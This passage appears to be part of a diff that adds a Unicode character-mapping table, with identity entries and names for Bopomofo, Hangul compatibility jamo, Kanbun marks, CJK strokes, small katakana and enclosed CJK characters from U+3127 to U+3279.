+ ["\u3127", "\u3127"], /* BOPOMOFO LETTER I */
+ ["\u3128", "\u3128"], /* BOPOMOFO LETTER U */
+ ["\u3129", "\u3129"], /* BOPOMOFO LETTER IU */
+ ["\u312A", "\u312A"], /* BOPOMOFO LETTER V */
+ ["\u312B", "\u312B"], /* BOPOMOFO LETTER NG */
+ ["\u312C", "\u312C"], /* BOPOMOFO LETTER GN */
+ ["\u312D", "\u312D"], /* BOPOMOFO LETTER IH */
+ ["\u312E", "\u312E"], /* BOPOMOFO LETTER O WITH DOT ABOVE */
+ ["\u312F", "\u312F"], /* BOPOMOFO LETTER NN */
+ ["\u3130", "\u3130"],
+ ["\u3131", "\u3131"], /* HANGUL LETTER KIYEOK (HANGUL LETTER GIYEOG) */
+ ["\u3132", "\u3132"], /* HANGUL LETTER SSANGKIYEOK (HANGUL LETTER SSANG GIYEOG) */
+ ["\u3133", "\u3133"], /* HANGUL LETTER KIYEOK-SIOS (HANGUL LETTER GIYEOG SIOS) */
+ ["\u3134", "\u3134"], /* HANGUL LETTER NIEUN */
+ ["\u3135", "\u3135"], /* HANGUL LETTER NIEUN-CIEUC (HANGUL LETTER NIEUN JIEUJ) */
+ ["\u3136", "\u3136"], /* HANGUL LETTER NIEUN-HIEUH (HANGUL LETTER NIEUN HIEUH) */
+ ["\u3137", "\u3137"], /* HANGUL LETTER TIKEUT (HANGUL LETTER DIGEUD) */
+ ["\u3138", "\u3138"], /* HANGUL LETTER SSANGTIKEUT (HANGUL LETTER SSANG DIGEUD) */
+ ["\u3139", "\u3139"], /* HANGUL LETTER RIEUL (HANGUL LETTER LIEUL) */
+ ["\u313A", "\u313A"], /* HANGUL LETTER RIEUL-KIYEOK (HANGUL LETTER LIEUL GIYEOG) */
+ ["\u313B", "\u313B"], /* HANGUL LETTER RIEUL-MIEUM (HANGUL LETTER LIEUL MIEUM) */
+ ["\u313C", "\u313C"], /* HANGUL LETTER RIEUL-PIEUP (HANGUL LETTER LIEUL BIEUB) */
+ ["\u313D", "\u313D"], /* HANGUL LETTER RIEUL-SIOS (HANGUL LETTER LIEUL SIOS) */
+ ["\u313E", "\u313E"], /* HANGUL LETTER RIEUL-THIEUTH (HANGUL LETTER LIEUL TIEUT) */
+ ["\u313F", "\u313F"], /* HANGUL LETTER RIEUL-PHIEUPH (HANGUL LETTER LIEUL PIEUP) */
+ ["\u3140", "\u3140"], /* HANGUL LETTER RIEUL-HIEUH (HANGUL LETTER LIEUL HIEUH) */
+ ["\u3141", "\u3141"], /* HANGUL LETTER MIEUM */
+ ["\u3142", "\u3142"], /* HANGUL LETTER PIEUP (HANGUL LETTER BIEUB) */
+ ["\u3143", "\u3143"], /* HANGUL LETTER SSANGPIEUP (HANGUL LETTER SSANG BIEUB) */
+ ["\u3144", "\u3144"], /* HANGUL LETTER PIEUP-SIOS (HANGUL LETTER BIEUB SIOS) */
+ ["\u3145", "\u3145"], /* HANGUL LETTER SIOS */
+ ["\u3146", "\u3146"], /* HANGUL LETTER SSANGSIOS (HANGUL LETTER SSANG SIOS) */
+ ["\u3147", "\u3147"], /* HANGUL LETTER IEUNG */
+ ["\u3148", "\u3148"], /* HANGUL LETTER CIEUC (HANGUL LETTER JIEUJ) */
+ ["\u3149", "\u3149"], /* HANGUL LETTER SSANGCIEUC (HANGUL LETTER SSANG JIEUJ) */
+ ["\u314A", "\u314A"], /* HANGUL LETTER CHIEUCH (HANGUL LETTER CIEUC) */
+ ["\u314B", "\u314B"], /* HANGUL LETTER KHIEUKH (HANGUL LETTER KIYEOK) */
+ ["\u314C", "\u314C"], /* HANGUL LETTER THIEUTH (HANGUL LETTER TIEUT) */
+ ["\u314D", "\u314D"], /* HANGUL LETTER PHIEUPH (HANGUL LETTER PIEUP) */
+ ["\u314E", "\u314E"], /* HANGUL LETTER HIEUH */
+ ["\u314F", "\u314F"], /* HANGUL LETTER A */
+ ["\u3150", "\u3150"], /* HANGUL LETTER AE */
+ ["\u3151", "\u3151"], /* HANGUL LETTER YA */
+ ["\u3152", "\u3152"], /* HANGUL LETTER YAE */
+ ["\u3153", "\u3153"], /* HANGUL LETTER EO */
+ ["\u3154", "\u3154"], /* HANGUL LETTER E */
+ ["\u3155", "\u3155"], /* HANGUL LETTER YEO */
+ ["\u3156", "\u3156"], /* HANGUL LETTER YE */
+ ["\u3157", "\u3157"], /* HANGUL LETTER O */
+ ["\u3158", "\u3158"], /* HANGUL LETTER WA */
+ ["\u3159", "\u3159"], /* HANGUL LETTER WAE */
+ ["\u315A", "\u315A"], /* HANGUL LETTER OE */
+ ["\u315B", "\u315B"], /* HANGUL LETTER YO */
+ ["\u315C", "\u315C"], /* HANGUL LETTER U */
+ ["\u315D", "\u315D"], /* HANGUL LETTER WEO */
+ ["\u315E", "\u315E"], /* HANGUL LETTER WE */
+ ["\u315F", "\u315F"], /* HANGUL LETTER WI */
+ ["\u3160", "\u3160"], /* HANGUL LETTER YU */
+ ["\u3161", "\u3161"], /* HANGUL LETTER EU */
+ ["\u3162", "\u3162"], /* HANGUL LETTER YI */
+ ["\u3163", "\u3163"], /* HANGUL LETTER I */
+ ["\u3164", "\u3164"], /* HANGUL FILLER (HANGUL CAE OM) */
+ ["\u3165", "\u3165"], /* HANGUL LETTER SSANGNIEUN (HANGUL LETTER SSANG NIEUN) */
+ ["\u3166", "\u3166"], /* HANGUL LETTER NIEUN-TIKEUT (HANGUL LETTER NIEUN DIGEUD) */
+ ["\u3167", "\u3167"], /* HANGUL LETTER NIEUN-SIOS (HANGUL LETTER NIEUN SIOS) */
+ ["\u3168", "\u3168"], /* HANGUL LETTER NIEUN-PANSIOS (HANGUL LETTER NIEUN BAN CHI EUM) */
+ ["\u3169", "\u3169"], /* HANGUL LETTER RIEUL-KIYEOK-SIOS (HANGUL LETTER LIEUL GIYEOG SIOS) */
+ ["\u316A", "\u316A"], /* HANGUL LETTER RIEUL-TIKEUT (HANGUL LETTER LIEUL DIGEUD) */
+ ["\u316B", "\u316B"], /* HANGUL LETTER RIEUL-PIEUP-SIOS (HANGUL LETTER LIEUL BIEUB SIOS) */
+ ["\u316C", "\u316C"], /* HANGUL LETTER RIEUL-PANSIOS (HANGUL LETTER LIEUL BAN CHI EUM) */
+ ["\u316D", "\u316D"], /* HANGUL LETTER RIEUL-YEORINHIEUH (HANGUL LETTER LIEUL YEOLIN HIEUH) */
+ ["\u316E", "\u316E"], /* HANGUL LETTER MIEUM-PIEUP (HANGUL LETTER MIEUM BIEUB) */
+ ["\u316F", "\u316F"], /* HANGUL LETTER MIEUM-SIOS (HANGUL LETTER MIEUM SIOS) */
+ ["\u3170", "\u3170"], /* HANGUL LETTER MIEUM-PANSIOS (HANGUL LETTER BIEUB BAN CHI EUM) */
+ ["\u3171", "\u3171"], /* HANGUL LETTER KAPYEOUNMIEUM (HANGUL LETTER MIEUM SUN GYEONG EUM) */
+ ["\u3172", "\u3172"], /* HANGUL LETTER PIEUP-KIYEOK (HANGUL LETTER BIEUB GIYEOG) */
+ ["\u3173", "\u3173"], /* HANGUL LETTER PIEUP-TIKEUT (HANGUL LETTER BIEUB DIGEUD) */
+ ["\u3174", "\u3174"], /* HANGUL LETTER PIEUP-SIOS-KIYEOK (HANGUL LETTER BIEUB SIOS GIYEOG) */
+ ["\u3175", "\u3175"], /* HANGUL LETTER PIEUP-SIOS-TIKEUT (HANGUL LETTER BIEUB SIOS DIGEUD) */
+ ["\u3176", "\u3176"], /* HANGUL LETTER PIEUP-CIEUC (HANGUL LETTER BIEUB JIEUJ) */
+ ["\u3177", "\u3177"], /* HANGUL LETTER PIEUP-THIEUTH (HANGUL LETTER BIEUB TIEUT) */
+ ["\u3178", "\u3178"], /* HANGUL LETTER KAPYEOUNPIEUP (HANGUL LETTER BIEUB SUN GYEONG EUM) */
+ ["\u3179", "\u3179"], /* HANGUL LETTER KAPYEOUNSSANGPIEUP (HANGUL LETTER SSANG BIEUB SUN GYEONG EUM) */
+ ["\u317A", "\u317A"], /* HANGUL LETTER SIOS-KIYEOK (HANGUL LETTER SIOS GIYEOG) */
+ ["\u317B", "\u317B"], /* HANGUL LETTER SIOS-NIEUN (HANGUL LETTER SIOS NIEUN) */
+ ["\u317C", "\u317C"], /* HANGUL LETTER SIOS-TIKEUT (HANGUL LETTER SIOS DIGEUD) */
+ ["\u317D", "\u317D"], /* HANGUL LETTER SIOS-PIEUP (HANGUL LETTER SIOS BIEUB) */
+ ["\u317E", "\u317E"], /* HANGUL LETTER SIOS-CIEUC (HANGUL LETTER SIOS JIEUJ) */
+ ["\u317F", "\u317F"], /* HANGUL LETTER PANSIOS (HANGUL LETTER BAN CHI EUM) */
+ ["\u3180", "\u3180"], /* HANGUL LETTER SSANGIEUNG (HANGUL LETTER SSANG IEUNG) */
+ ["\u3181", "\u3181"], /* HANGUL LETTER YESIEUNG (HANGUL LETTER NGIEUNG) */
+ ["\u3182", "\u3182"], /* HANGUL LETTER YESIEUNG-SIOS (HANGUL LETTER NGIEUNG SIOS) */
+ ["\u3183", "\u3183"], /* HANGUL LETTER YESIEUNG-PANSIOS (HANGUL LETTER NGIEUNG BAN CHI EUM) */
+ ["\u3184", "\u3184"], /* HANGUL LETTER KAPYEOUNPHIEUPH (HANGUL LETTER PIEUP SUN GYEONG EUM) */
+ ["\u3185", "\u3185"], /* HANGUL LETTER SSANGHIEUH (HANGUL LETTER SSANG HIEUH) */
+ ["\u3186", "\u3186"], /* HANGUL LETTER YEORINHIEUH (HANGUL LETTER YEOLIN HIEUH) */
+ ["\u3187", "\u3187"], /* HANGUL LETTER YO-YA (HANGUL LETTER YOYA) */
+ ["\u3188", "\u3188"], /* HANGUL LETTER YO-YAE (HANGUL LETTER YOYAE) */
+ ["\u3189", "\u3189"], /* HANGUL LETTER YO-I (HANGUL LETTER YOI) */
+ ["\u318A", "\u318A"], /* HANGUL LETTER YU-YEO (HANGUL LETTER YUYEO) */
+ ["\u318B", "\u318B"], /* HANGUL LETTER YU-YE (HANGUL LETTER YUYE) */
+ ["\u318C", "\u318C"], /* HANGUL LETTER YU-I (HANGUL LETTER YUI) */
+ ["\u318D", "\u318D"], /* HANGUL LETTER ARAEA (HANGUL LETTER ALAE A) */
+ ["\u318E", "\u318E"], /* HANGUL LETTER ARAEAE (HANGUL LETTER ALAE AE) */
+ ["\u318F", "\u318F"],
+ ["\u3190", "\u3190"], /* IDEOGRAPHIC ANNOTATION LINKING MARK (KANBUN TATETEN) */
+ ["\u3191", "\u3191"], /* IDEOGRAPHIC ANNOTATION REVERSE MARK (KAERITEN RE) */
+ ["\u3192", "\u3192"], /* IDEOGRAPHIC ANNOTATION ONE MARK (KAERITEN ITI) */
+ ["\u3193", "\u3193"], /* IDEOGRAPHIC ANNOTATION TWO MARK (KAERITEN NI) */
+ ["\u3194", "\u3194"], /* IDEOGRAPHIC ANNOTATION THREE MARK (KAERITEN SAN) */
+ ["\u3195", "\u3195"], /* IDEOGRAPHIC ANNOTATION FOUR MARK (KAERITEN SI) */
+ ["\u3196", "\u3196"], /* IDEOGRAPHIC ANNOTATION TOP MARK (KAERITEN ZYOU) */
+ ["\u3197", "\u3197"], /* IDEOGRAPHIC ANNOTATION MIDDLE MARK (KAERITEN TYUU) */
+ ["\u3198", "\u3198"], /* IDEOGRAPHIC ANNOTATION BOTTOM MARK (KAERITEN GE) */
+ ["\u3199", "\u3199"], /* IDEOGRAPHIC ANNOTATION FIRST MARK (KAERITEN KOU) */
+ ["\u319A", "\u319A"], /* IDEOGRAPHIC ANNOTATION SECOND MARK (KAERITEN OTU) */
+ ["\u319B", "\u319B"], /* IDEOGRAPHIC ANNOTATION THIRD MARK (KAERITEN HEI) */
+ ["\u319C", "\u319C"], /* IDEOGRAPHIC ANNOTATION FOURTH MARK (KAERITEN TEI) */
+ ["\u319D", "\u319D"], /* IDEOGRAPHIC ANNOTATION HEAVEN MARK (KAERITEN TEN) */
+ ["\u319E", "\u319E"], /* IDEOGRAPHIC ANNOTATION EARTH MARK (KAERITEN TI) */
+ ["\u319F", "\u319F"], /* IDEOGRAPHIC ANNOTATION MAN MARK (KAERITEN ZIN) */
+ ["\u31A0", "\u31A0"], /* BOPOMOFO LETTER BU */
+ ["\u31A1", "\u31A1"], /* BOPOMOFO LETTER ZI */
+ ["\u31A2", "\u31A2"], /* BOPOMOFO LETTER JI */
+ ["\u31A3", "\u31A3"], /* BOPOMOFO LETTER GU */
+ ["\u31A4", "\u31A4"], /* BOPOMOFO LETTER EE */
+ ["\u31A5", "\u31A5"], /* BOPOMOFO LETTER ENN */
+ ["\u31A6", "\u31A6"], /* BOPOMOFO LETTER OO */
+ ["\u31A7", "\u31A7"], /* BOPOMOFO LETTER ONN */
+ ["\u31A8", "\u31A8"], /* BOPOMOFO LETTER IR */
+ ["\u31A9", "\u31A9"], /* BOPOMOFO LETTER ANN */
+ ["\u31AA", "\u31AA"], /* BOPOMOFO LETTER INN */
+ ["\u31AB", "\u31AB"], /* BOPOMOFO LETTER UNN */
+ ["\u31AC", "\u31AC"], /* BOPOMOFO LETTER IM */
+ ["\u31AD", "\u31AD"], /* BOPOMOFO LETTER NGG */
+ ["\u31AE", "\u31AE"], /* BOPOMOFO LETTER AINN */
+ ["\u31AF", "\u31AF"], /* BOPOMOFO LETTER AUNN */
+ ["\u31B0", "\u31B0"], /* BOPOMOFO LETTER AM */
+ ["\u31B1", "\u31B1"], /* BOPOMOFO LETTER OM */
+ ["\u31B2", "\u31B2"], /* BOPOMOFO LETTER ONG */
+ ["\u31B3", "\u31B3"], /* BOPOMOFO LETTER INNN */
+ ["\u31B4", "\u31B4"], /* BOPOMOFO FINAL LETTER P */
+ ["\u31B5", "\u31B5"], /* BOPOMOFO FINAL LETTER T */
+ ["\u31B6", "\u31B6"], /* BOPOMOFO FINAL LETTER K */
+ ["\u31B7", "\u31B7"], /* BOPOMOFO FINAL LETTER H */
+ ["\u31B8", "\u31B8"], /* BOPOMOFO LETTER GH */
+ ["\u31B9", "\u31B9"], /* BOPOMOFO LETTER LH */
+ ["\u31BA", "\u31BA"], /* BOPOMOFO LETTER ZY */
+ ["\u31BB", "\u31BB"], /* BOPOMOFO FINAL LETTER G */
+ ["\u31BC", "\u31BC"], /* BOPOMOFO LETTER GW */
+ ["\u31BD", "\u31BD"], /* BOPOMOFO LETTER KW */
+ ["\u31BE", "\u31BE"], /* BOPOMOFO LETTER OE */
+ ["\u31BF", "\u31BF"], /* BOPOMOFO LETTER AH */
+ ["\u31C0", "\u31C0"], /* CJK STROKE T */
+ ["\u31C1", "\u31C1"], /* CJK STROKE WG */
+ ["\u31C2", "\u31C2"], /* CJK STROKE XG */
+ ["\u31C3", "\u31C3"], /* CJK STROKE BXG */
+ ["\u31C4", "\u31C4"], /* CJK STROKE SW */
+ ["\u31C5", "\u31C5"], /* CJK STROKE HZZ */
+ ["\u31C6", "\u31C6"], /* CJK STROKE HZG */
+ ["\u31C7", "\u31C7"], /* CJK STROKE HP */
+ ["\u31C8", "\u31C8"], /* CJK STROKE HZWG */
+ ["\u31C9", "\u31C9"], /* CJK STROKE SZWG */
+ ["\u31CA", "\u31CA"], /* CJK STROKE HZT */
+ ["\u31CB", "\u31CB"], /* CJK STROKE HZZP */
+ ["\u31CC", "\u31CC"], /* CJK STROKE HPWG */
+ ["\u31CD", "\u31CD"], /* CJK STROKE HZW */
+ ["\u31CE", "\u31CE"], /* CJK STROKE HZZZ */
+ ["\u31CF", "\u31CF"], /* CJK STROKE N */
+ ["\u31D0", "\u31D0"], /* CJK STROKE H */
+ ["\u31D1", "\u31D1"], /* CJK STROKE S */
+ ["\u31D2", "\u31D2"], /* CJK STROKE P */
+ ["\u31D3", "\u31D3"], /* CJK STROKE SP */
+ ["\u31D4", "\u31D4"], /* CJK STROKE D */
+ ["\u31D5", "\u31D5"], /* CJK STROKE HZ */
+ ["\u31D6", "\u31D6"], /* CJK STROKE HG */
+ ["\u31D7", "\u31D7"], /* CJK STROKE SZ */
+ ["\u31D8", "\u31D8"], /* CJK STROKE SWZ */
+ ["\u31D9", "\u31D9"], /* CJK STROKE ST */
+ ["\u31DA", "\u31DA"], /* CJK STROKE SG */
+ ["\u31DB", "\u31DB"], /* CJK STROKE PD */
+ ["\u31DC", "\u31DC"], /* CJK STROKE PZ */
+ ["\u31DD", "\u31DD"], /* CJK STROKE TN */
+ ["\u31DE", "\u31DE"], /* CJK STROKE SZZ */
+ ["\u31DF", "\u31DF"], /* CJK STROKE SWG */
+ ["\u31E0", "\u31E0"], /* CJK STROKE HXWG */
+ ["\u31E1", "\u31E1"], /* CJK STROKE HZZZG */
+ ["\u31E2", "\u31E2"], /* CJK STROKE PG */
+ ["\u31E3", "\u31E3"], /* CJK STROKE Q */
+ ["\u31E4", "\u31E4"],
+ ["\u31E5", "\u31E5"],
+ ["\u31E6", "\u31E6"],
+ ["\u31E7", "\u31E7"],
+ ["\u31E8", "\u31E8"],
+ ["\u31E9", "\u31E9"],
+ ["\u31EA", "\u31EA"],
+ ["\u31EB", "\u31EB"],
+ ["\u31EC", "\u31EC"],
+ ["\u31ED", "\u31ED"],
+ ["\u31EE", "\u31EE"],
+ ["\u31EF", "\u31EF"],
+ ["\u31F0", "\u31F0"], /* KATAKANA LETTER SMALL KU */
+ ["\u31F1", "\u31F1"], /* KATAKANA LETTER SMALL SI */
+ ["\u31F2", "\u31F2"], /* KATAKANA LETTER SMALL SU */
+ ["\u31F3", "\u31F3"], /* KATAKANA LETTER SMALL TO */
+ ["\u31F4", "\u31F4"], /* KATAKANA LETTER SMALL NU */
+ ["\u31F5", "\u31F5"], /* KATAKANA LETTER SMALL HA */
+ ["\u31F6", "\u31F6"], /* KATAKANA LETTER SMALL HI */
+ ["\u31F7", "\u31F7"], /* KATAKANA LETTER SMALL HU */
+ ["\u31F8", "\u31F8"], /* KATAKANA LETTER SMALL HE */
+ ["\u31F9", "\u31F9"], /* KATAKANA LETTER SMALL HO */
+ ["\u31FA", "\u31FA"], /* KATAKANA LETTER SMALL MU */
+ ["\u31FB", "\u31FB"], /* KATAKANA LETTER SMALL RA */
+ ["\u31FC", "\u31FC"], /* KATAKANA LETTER SMALL RI */
+ ["\u31FD", "\u31FD"], /* KATAKANA LETTER SMALL RU */
+ ["\u31FE", "\u31FE"], /* KATAKANA LETTER SMALL RE */
+ ["\u31FF", "\u31FF"], /* KATAKANA LETTER SMALL RO */
+ ["\u3200", "\u3200"], /* PARENTHESIZED HANGUL KIYEOK (PARENTHESIZED HANGUL GIYEOG) */
+ ["\u3201", "\u3201"], /* PARENTHESIZED HANGUL NIEUN */
+ ["\u3202", "\u3202"], /* PARENTHESIZED HANGUL TIKEUT (PARENTHESIZED HANGUL DIGEUD) */
+ ["\u3203", "\u3203"], /* PARENTHESIZED HANGUL RIEUL (PARENTHESIZED HANGUL LIEUL) */
+ ["\u3204", "\u3204"], /* PARENTHESIZED HANGUL MIEUM */
+ ["\u3205", "\u3205"], /* PARENTHESIZED HANGUL PIEUP (PARENTHESIZED HANGUL BIEUB) */
+ ["\u3206", "\u3206"], /* PARENTHESIZED HANGUL SIOS */
+ ["\u3207", "\u3207"], /* PARENTHESIZED HANGUL IEUNG */
+ ["\u3208", "\u3208"], /* PARENTHESIZED HANGUL CIEUC (PARENTHESIZED HANGUL JIEUJ) */
+ ["\u3209", "\u3209"], /* PARENTHESIZED HANGUL CHIEUCH (PARENTHESIZED HANGUL CIEUC) */
+ ["\u320A", "\u320A"], /* PARENTHESIZED HANGUL KHIEUKH (PARENTHESIZED HANGUL KIYEOK) */
+ ["\u320B", "\u320B"], /* PARENTHESIZED HANGUL THIEUTH (PARENTHESIZED HANGUL TIEUT) */
+ ["\u320C", "\u320C"], /* PARENTHESIZED HANGUL PHIEUPH (PARENTHESIZED HANGUL PIEUP) */
+ ["\u320D", "\u320D"], /* PARENTHESIZED HANGUL HIEUH */
+ ["\u320E", "\u320E"], /* PARENTHESIZED HANGUL KIYEOK A (PARENTHESIZED HANGUL GA) */
+ ["\u320F", "\u320F"], /* PARENTHESIZED HANGUL NIEUN A (PARENTHESIZED HANGUL NA) */
+ ["\u3210", "\u3210"], /* PARENTHESIZED HANGUL TIKEUT A (PARENTHESIZED HANGUL DA) */
+ ["\u3211", "\u3211"], /* PARENTHESIZED HANGUL RIEUL A (PARENTHESIZED HANGUL LA) */
+ ["\u3212", "\u3212"], /* PARENTHESIZED HANGUL MIEUM A (PARENTHESIZED HANGUL MA) */
+ ["\u3213", "\u3213"], /* PARENTHESIZED HANGUL PIEUP A (PARENTHESIZED HANGUL BA) */
+ ["\u3214", "\u3214"], /* PARENTHESIZED HANGUL SIOS A (PARENTHESIZED HANGUL SA) */
+ ["\u3215", "\u3215"], /* PARENTHESIZED HANGUL IEUNG A (PARENTHESIZED HANGUL A) */
+ ["\u3216", "\u3216"], /* PARENTHESIZED HANGUL CIEUC A (PARENTHESIZED HANGUL JA) */
+ ["\u3217", "\u3217"], /* PARENTHESIZED HANGUL CHIEUCH A (PARENTHESIZED HANGUL CA) */
+ ["\u3218", "\u3218"], /* PARENTHESIZED HANGUL KHIEUKH A (PARENTHESIZED HANGUL KA) */
+ ["\u3219", "\u3219"], /* PARENTHESIZED HANGUL THIEUTH A (PARENTHESIZED HANGUL TA) */
+ ["\u321A", "\u321A"], /* PARENTHESIZED HANGUL PHIEUPH A (PARENTHESIZED HANGUL PA) */
+ ["\u321B", "\u321B"], /* PARENTHESIZED HANGUL HIEUH A (PARENTHESIZED HANGUL HA) */
+ ["\u321C", "\u321C"], /* PARENTHESIZED HANGUL CIEUC U (PARENTHESIZED HANGUL JU) */
+ ["\u321D", "\u321D"], /* PARENTHESIZED KOREAN CHARACTER OJEON */
+ ["\u321E", "\u321E"], /* PARENTHESIZED KOREAN CHARACTER O HU */
+ ["\u321F", "\u321F"],
+ ["\u3220", "\u3220"], /* PARENTHESIZED IDEOGRAPH ONE */
+ ["\u3221", "\u3221"], /* PARENTHESIZED IDEOGRAPH TWO */
+ ["\u3222", "\u3222"], /* PARENTHESIZED IDEOGRAPH THREE */
+ ["\u3223", "\u3223"], /* PARENTHESIZED IDEOGRAPH FOUR */
+ ["\u3224", "\u3224"], /* PARENTHESIZED IDEOGRAPH FIVE */
+ ["\u3225", "\u3225"], /* PARENTHESIZED IDEOGRAPH SIX */
+ ["\u3226", "\u3226"], /* PARENTHESIZED IDEOGRAPH SEVEN */
+ ["\u3227", "\u3227"], /* PARENTHESIZED IDEOGRAPH EIGHT */
+ ["\u3228", "\u3228"], /* PARENTHESIZED IDEOGRAPH NINE */
+ ["\u3229", "\u3229"], /* PARENTHESIZED IDEOGRAPH TEN */
+ ["\u322A", "\u322A"], /* PARENTHESIZED IDEOGRAPH MOON */
+ ["\u322B", "\u322B"], /* PARENTHESIZED IDEOGRAPH FIRE */
+ ["\u322C", "\u322C"], /* PARENTHESIZED IDEOGRAPH WATER */
+ ["\u322D", "\u322D"], /* PARENTHESIZED IDEOGRAPH WOOD */
+ ["\u322E", "\u322E"], /* PARENTHESIZED IDEOGRAPH METAL */
+ ["\u322F", "\u322F"], /* PARENTHESIZED IDEOGRAPH EARTH */
+ ["\u3230", "\u3230"], /* PARENTHESIZED IDEOGRAPH SUN */
+ ["\u3231", "\u3231"], /* PARENTHESIZED IDEOGRAPH STOCK */
+ ["\u3232", "\u3232"], /* PARENTHESIZED IDEOGRAPH HAVE */
+ ["\u3233", "\u3233"], /* PARENTHESIZED IDEOGRAPH SOCIETY */
+ ["\u3234", "\u3234"], /* PARENTHESIZED IDEOGRAPH NAME */
+ ["\u3235", "\u3235"], /* PARENTHESIZED IDEOGRAPH SPECIAL */
+ ["\u3236", "\u3236"], /* PARENTHESIZED IDEOGRAPH FINANCIAL */
+ ["\u3237", "\u3237"], /* PARENTHESIZED IDEOGRAPH CONGRATULATION */
+ ["\u3238", "\u3238"], /* PARENTHESIZED IDEOGRAPH LABOR */
+ ["\u3239", "\u3239"], /* PARENTHESIZED IDEOGRAPH REPRESENT */
+ ["\u323A", "\u323A"], /* PARENTHESIZED IDEOGRAPH CALL */
+ ["\u323B", "\u323B"], /* PARENTHESIZED IDEOGRAPH STUDY */
+ ["\u323C", "\u323C"], /* PARENTHESIZED IDEOGRAPH SUPERVISE */
+ ["\u323D", "\u323D"], /* PARENTHESIZED IDEOGRAPH ENTERPRISE */
+ ["\u323E", "\u323E"], /* PARENTHESIZED IDEOGRAPH RESOURCE */
+ ["\u323F", "\u323F"], /* PARENTHESIZED IDEOGRAPH ALLIANCE */
+ ["\u3240", "\u3240"], /* PARENTHESIZED IDEOGRAPH FESTIVAL */
+ ["\u3241", "\u3241"], /* PARENTHESIZED IDEOGRAPH REST */
+ ["\u3242", "\u3242"], /* PARENTHESIZED IDEOGRAPH SELF */
+ ["\u3243", "\u3243"], /* PARENTHESIZED IDEOGRAPH REACH */
+ ["\u3244", "\u3244"], /* CIRCLED IDEOGRAPH QUESTION */
+ ["\u3245", "\u3245"], /* CIRCLED IDEOGRAPH KINDERGARTEN */
+ ["\u3246", "\u3246"], /* CIRCLED IDEOGRAPH SCHOOL */
+ ["\u3247", "\u3247"], /* CIRCLED IDEOGRAPH KOTO */
+ ["\u3248", "\u3248"], /* CIRCLED NUMBER TEN ON BLACK SQUARE */
+ ["\u3249", "\u3249"], /* CIRCLED NUMBER TWENTY ON BLACK SQUARE */
+ ["\u324A", "\u324A"], /* CIRCLED NUMBER THIRTY ON BLACK SQUARE */
+ ["\u324B", "\u324B"], /* CIRCLED NUMBER FORTY ON BLACK SQUARE */
+ ["\u324C", "\u324C"], /* CIRCLED NUMBER FIFTY ON BLACK SQUARE */
+ ["\u324D", "\u324D"], /* CIRCLED NUMBER SIXTY ON BLACK SQUARE */
+ ["\u324E", "\u324E"], /* CIRCLED NUMBER SEVENTY ON BLACK SQUARE */
+ ["\u324F", "\u324F"], /* CIRCLED NUMBER EIGHTY ON BLACK SQUARE */
+ ["\u3250", "\u3250"], /* PARTNERSHIP SIGN */
+ ["\u3251", "\u3251"], /* CIRCLED NUMBER TWENTY ONE */
+ ["\u3252", "\u3252"], /* CIRCLED NUMBER TWENTY TWO */
+ ["\u3253", "\u3253"], /* CIRCLED NUMBER TWENTY THREE */
+ ["\u3254", "\u3254"], /* CIRCLED NUMBER TWENTY FOUR */
+ ["\u3255", "\u3255"], /* CIRCLED NUMBER TWENTY FIVE */
+ ["\u3256", "\u3256"], /* CIRCLED NUMBER TWENTY SIX */
+ ["\u3257", "\u3257"], /* CIRCLED NUMBER TWENTY SEVEN */
+ ["\u3258", "\u3258"], /* CIRCLED NUMBER TWENTY EIGHT */
+ ["\u3259", "\u3259"], /* CIRCLED NUMBER TWENTY NINE */
+ ["\u325A", "\u325A"], /* CIRCLED NUMBER THIRTY */
+ ["\u325B", "\u325B"], /* CIRCLED NUMBER THIRTY ONE */
+ ["\u325C", "\u325C"], /* CIRCLED NUMBER THIRTY TWO */
+ ["\u325D", "\u325D"], /* CIRCLED NUMBER THIRTY THREE */
+ ["\u325E", "\u325E"], /* CIRCLED NUMBER THIRTY FOUR */
+ ["\u325F", "\u325F"], /* CIRCLED NUMBER THIRTY FIVE */
+ ["\u3260", "\u3260"], /* CIRCLED HANGUL KIYEOK (CIRCLED HANGUL GIYEOG) */
+ ["\u3261", "\u3261"], /* CIRCLED HANGUL NIEUN */
+ ["\u3262", "\u3262"], /* CIRCLED HANGUL TIKEUT (CIRCLED HANGUL DIGEUD) */
+ ["\u3263", "\u3263"], /* CIRCLED HANGUL RIEUL (CIRCLED HANGUL LIEUL) */
+ ["\u3264", "\u3264"], /* CIRCLED HANGUL MIEUM */
+ ["\u3265", "\u3265"], /* CIRCLED HANGUL PIEUP (CIRCLED HANGUL BIEUB) */
+ ["\u3266", "\u3266"], /* CIRCLED HANGUL SIOS */
+ ["\u3267", "\u3267"], /* CIRCLED HANGUL IEUNG */
+ ["\u3268", "\u3268"], /* CIRCLED HANGUL CIEUC (CIRCLED HANGUL JIEUJ) */
+ ["\u3269", "\u3269"], /* CIRCLED HANGUL CHIEUCH (CIRCLED HANGUL CIEUC) */
+ ["\u326A", "\u326A"], /* CIRCLED HANGUL KHIEUKH (CIRCLED HANGUL KIYEOK) */
+ ["\u326B", "\u326B"], /* CIRCLED HANGUL THIEUTH (CIRCLED HANGUL TIEUT) */
+ ["\u326C", "\u326C"], /* CIRCLED HANGUL PHIEUPH (CIRCLED HANGUL PIEUP) */
+ ["\u326D", "\u326D"], /* CIRCLED HANGUL HIEUH */
+ ["\u326E", "\u326E"], /* CIRCLED HANGUL KIYEOK A (CIRCLED HANGUL GA) */
+ ["\u326F", "\u326F"], /* CIRCLED HANGUL NIEUN A (CIRCLED HANGUL NA) */
+ ["\u3270", "\u3270"], /* CIRCLED HANGUL TIKEUT A (CIRCLED HANGUL DA) */
+ ["\u3271", "\u3271"], /* CIRCLED HANGUL RIEUL A (CIRCLED HANGUL LA) */
+ ["\u3272", "\u3272"], /* CIRCLED HANGUL MIEUM A (CIRCLED HANGUL MA) */
+ ["\u3273", "\u3273"], /* CIRCLED HANGUL PIEUP A (CIRCLED HANGUL BA) */
+ ["\u3274", "\u3274"], /* CIRCLED HANGUL SIOS A (CIRCLED HANGUL SA) */
+ ["\u3275", "\u3275"], /* CIRCLED HANGUL IEUNG A (CIRCLED HANGUL A) */
+ ["\u3276", "\u3276"], /* CIRCLED HANGUL CIEUC A (CIRCLED HANGUL JA) */
+ ["\u3277", "\u3277"], /* CIRCLED HANGUL CHIEUCH A (CIRCLED HANGUL CA) */
+ ["\u3278", "\u3278"], /* CIRCLED HANGUL KHIEUKH A (CIRCLED HANGUL KA) */
+ ["\u3279", "\u3279"], /* CIRCLED HANGUL THIEUTH A (CIRCLED HANGUL TA) */
